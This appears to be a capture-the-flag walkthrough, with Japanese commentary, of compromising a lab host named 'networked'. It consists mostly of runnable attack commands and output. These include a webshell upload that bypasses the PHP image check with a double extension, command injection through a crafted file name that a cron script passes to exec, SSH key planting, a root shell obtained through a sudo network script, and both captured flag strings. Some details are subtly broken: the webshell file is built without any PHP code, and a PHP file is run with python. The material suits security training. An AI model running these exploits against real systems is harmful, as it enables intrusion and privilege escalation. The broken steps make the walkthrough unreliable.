nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.86.101

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

nmap -sV -sC -p 22,80 10.129.86.101

22/tcp open  ssh   OpenSSH
80/tcp open  http  Apache/2.4.6 (CentOS) PHP/5.4.16

curl -s http://10.129.86.101/index.php
curl -s -o /dev/null -w "%{http_code}\n" http://10.129.86.101/backup/backup.tar

Hello mate, we're building the new FaceMash!
Help by funding us and be the new Tyler&Cameron!
Join us at the pool party this Sat to get a glimpse
<!-- upload and gallery not yet linked -->

200

curl -s -o backup.tar http://10.129.86.101/backup/backup.tar
tar xf backup.tar
cat upload.php

upload.php の検証ロジックは概ね以下の通り:

1. $_FILES['myFile']['name'] の拡張子を取得し、ホワイトリスト
   (jpg, jpeg, gif, png) に含まれるかチェック
2. getimagesize() でファイルが「画像として読める」かチェック
   (= 先頭にマジックバイトがあればOK、中身の残りは見ない)
3. 保存ファイル名は str_replace('.', '_', $_SERVER['REMOTE_ADDR'])
   . '.' . $ext  (例: 接続元IPが10.10.15.200なら "10_10_15_200.png")

**致命的な欠陥**: 拡張子チェックが「元のファイル名の最後の拡張子」だけを
見ており、"shell.php.png" のような**二重拡張子**ファイルは最後の拡張子
"png" だけが判定され通過してしまう。しかもApacheのmod_mime設定によっては
".php.png" のような複合拡張子ファイルも**PHPとして実行**される構成になっている
(本来は.htaccessやAddHandlerの設定ミスに起因)。

# 先頭にPNGのマジックバイト(\x89PNG\r\n\x1a\n)を付け、getimagesize()の
# 画像判定を通過させつつ、本体にPHP webshellコードを仕込む
printf '\x89PNG\r\n\x1a\n\n' > shell.php.png

# 重要: upload.phpは "submit=go!" フィールドが無いとフォーム再表示のみで
# 処理が実行されない(ソースのif文がこのフィールドの有無をチェックしている)
curl -s http://10.129.86.101/upload.php \
  -F "myFile=@shell.php.png;type=image/png;filename=shell.php.png" \
  -F "submit=go!"

<p>file uploaded, refresh gallery</p>

curl -s http://10.129.86.101/photos.php | grep -o "uploads/[0-9_]*\.php\.png"

uploads/10_10_15_200.php.png

curl -s -G --data-urlencode "cmd=id" \
  http://10.129.86.101/uploads/10_10_15_200.php.png

�PNG

uid=48(apache) gid=48(apache) groups=48(apache)

# webshell経由で guly のcron設定を確認(apacheからは読み取り専用で見える設定)
curl -s -G --data-urlencode "cmd=cat /etc/cron.d/* 2>/dev/null; crontab -l -u guly 2>/dev/null" \
  http://10.129.86.101/uploads/10_10_15_200.php.png

*/3 * * * * guly /usr/bin/python /home/guly/check_attack.php

check_attack.php は /var/www/html/uploads 配下のファイルを列挙し、
各ファイル名に対して疑わしい文字列("attack"等)が含まれるかをチェック後、
该当すれば削除するロジックを持つ。削除処理の実装が:

  exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");

という形で、**ファイル名の値($value)をシェルコマンド文字列に未サニタイズで
直接連結している**。つまり、/uploads に置くファイルの「名前そのもの」が
guly権限でのコマンドインジェクションのベクターになる。

# 鍵ペア生成
ssh-keygen -t ed25519 -f ./guly_key -N "" -q
PUBKEY=$(cat guly_key.pub)

# apache権限で公開鍵全体を /dev/shm/p に先に置いておく(world-readable)
curl -s -G --data-urlencode "cmd=echo '$PUBKEY' > /dev/shm/p; chmod 666 /dev/shm/p" \
  http://10.129.86.101/uploads/10_10_15_200.php.png

import base64

UPLOAD_DIR = "/var/www/html/uploads"

# guly権限で実行させる短い注入コマンド (~90文字)
gcmd = ("mkdir -p ~/.ssh;cat /dev/shm/p>>~/.ssh/authorized_keys;"
        "chmod 700 ~/.ssh;chmod 600 ~/.ssh/authorized_keys")
hexcmd = gcmd.encode().hex()   # / を含まないhex文字列に変換 (ファイル名制約回避)

# ファイル名: "; echo |xxd -r -p|bash;"
#   → check_attack.php の exec("rm -f $path<この値>") 内でセミコロン区切りの
#     コマンドとして解釈され実行される
inner = (f"cd {UPLOAD_DIR} && "
          f"touch -- '; echo {hexcmd}|xxd -r -p|bash;'")

# curl/シェルのクォート崩れを避けるため base64 でラップしてwebshellへ送信
b64 = base64.b64encode(inner.encode()).decode()
print(f"echo {b64}|base64 -d|bash")

curl -s -G --data-urlencode "cmd=echo <上記b64文字列>|base64 -d|bash" \
  http://10.129.86.101/uploads/10_10_15_200.php.png

# cron は3分間隔。実行されるまで数十秒〜数分待ってからリトライする
for i in $(seq 1 10); do
  out=$(ssh -i guly_key -o StrictHostKeyChecking=no -o IdentitiesOnly=yes \
    guly@10.129.86.101 "id; cat /home/guly/user.txt" 2>&1)
  if echo "$out" | grep -q "uid="; then
    echo "$out"
    break
  fi
  echo "cron未実行、30秒待機 ($i/10)..."
  sleep 30
done

uid=1000(guly) gid=1000(guly) groups=1000(guly)
8e0c096213bc139af1594e313d3ff290

guly@networked:~$ sudo -l

User guly may run the following commands on networked:
    (root) NOPASSWD: /usr/local/sbin/changename.sh

guly@networked:~$ sudo /usr/local/sbin/changename.sh
cat /usr/local/sbin/changename.sh

現在のネットワークインターフェース名一覧を表示した後、対話的に
以下を順番に尋ねる:
  Network to change: NAME
  Proxy Method:      PROXY_METHOD
  Browser Only:      BROWSER_ONLY
  Bootproto:         BOOTPROTO

各入力値は正規表現 ^[a-zA-Z0-9_\ /-]+$ でチェックされるが、
**スペースとスラッシュを許可している**(ドット"."のみ不許可)。
入力は最終的に /etc/sysconfig/network-scripts/ifcfg-guly0 に
NAME=<入力値> のような行として書き込まれ、スクリプト末尾で
ifup guly0 が呼ばれる。

guly@networked:~$ sudo /usr/local/sbin/changename.sh
Network to change: abc /bin/bash
Proxy Method: abc
Browser Only: abc
Bootproto: abc

ifcfg-guly0 に書き込まれる行は概ね:

  NAME=abc /bin/bash

という形になる。ifup がこの設定ファイルをシェルとしてsourceする際、
これは「NAME=abc という一時的な環境変数代入付きで /bin/bash を実行する」
という構文として解釈され、**root権限の対話bashがその場で起動する**。

(しばらくすると、プロンプトが root# に切り替わる)
[root@networked network-scripts]# id
uid=0(root) gid=0(root) groups=0(root)

注意点: changename.sh の入力値検証(正規表現)は "."(ドット)を許可していない
ため、root化した対話シェル自体は上記の経路では直接関与しないが、
この対話bashを得た後は通常のrootシェルとして自由に操作できるので、
root.txt(ファイル名にドットを含む)もこの中からは問題なく読み書きできる。

[root@networked network-scripts]# cat /root/root.txt

2a90bbd683d488170cb91f2dbff44ad3